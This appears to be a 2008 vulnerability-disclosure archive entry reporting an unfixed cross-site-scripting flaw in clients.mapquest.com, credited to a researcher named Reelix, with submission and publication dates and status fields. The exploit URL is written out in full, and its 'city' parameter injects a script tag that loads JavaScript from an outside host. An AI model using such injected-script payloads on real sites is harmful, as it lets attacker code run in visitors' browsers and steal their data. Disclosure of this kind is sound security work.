Security researcher Reelix, has submitted on 20/06/2008 a cross-site-scripting (XSS) vulnerability affecting clients.mapquest.com, which at the time of submission ranked 176 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 20/06/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 20/06/2008 |
Date published: 20/06/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Reelix |
Domain: clients.mapquest.com |
Category: XSS |
Pagerank: 176 |
|---|
URL: http://clients.mapquest.com/kfc/mqlocator?link=find&screen=find&link=results&linktype=results&smap=m
ap&width=380&height=250&iconid=31&country=&searchtype=origin&sqlcol1=name&sqlcnd1=%3D&sqlval1=Kentuc
ky+Fried+Chicken&sqlcmb1=or&sqlcol2=MULTIBRAND&sqlcnd2=contains&sqlval2=K&queryIconID=98511&queryUse
Origin=1&queryCenterOrigin=1&queryMax=3&queryRadius=999&streetaddress=&city=<script+src+%3D+"http%3A
%2F%2Freelix.za.net%2FreeXSS.js"><%2Fscript>&state=&zip=&x=38&y=12 |
|
Click here to view the mirror
|
|
|
| 
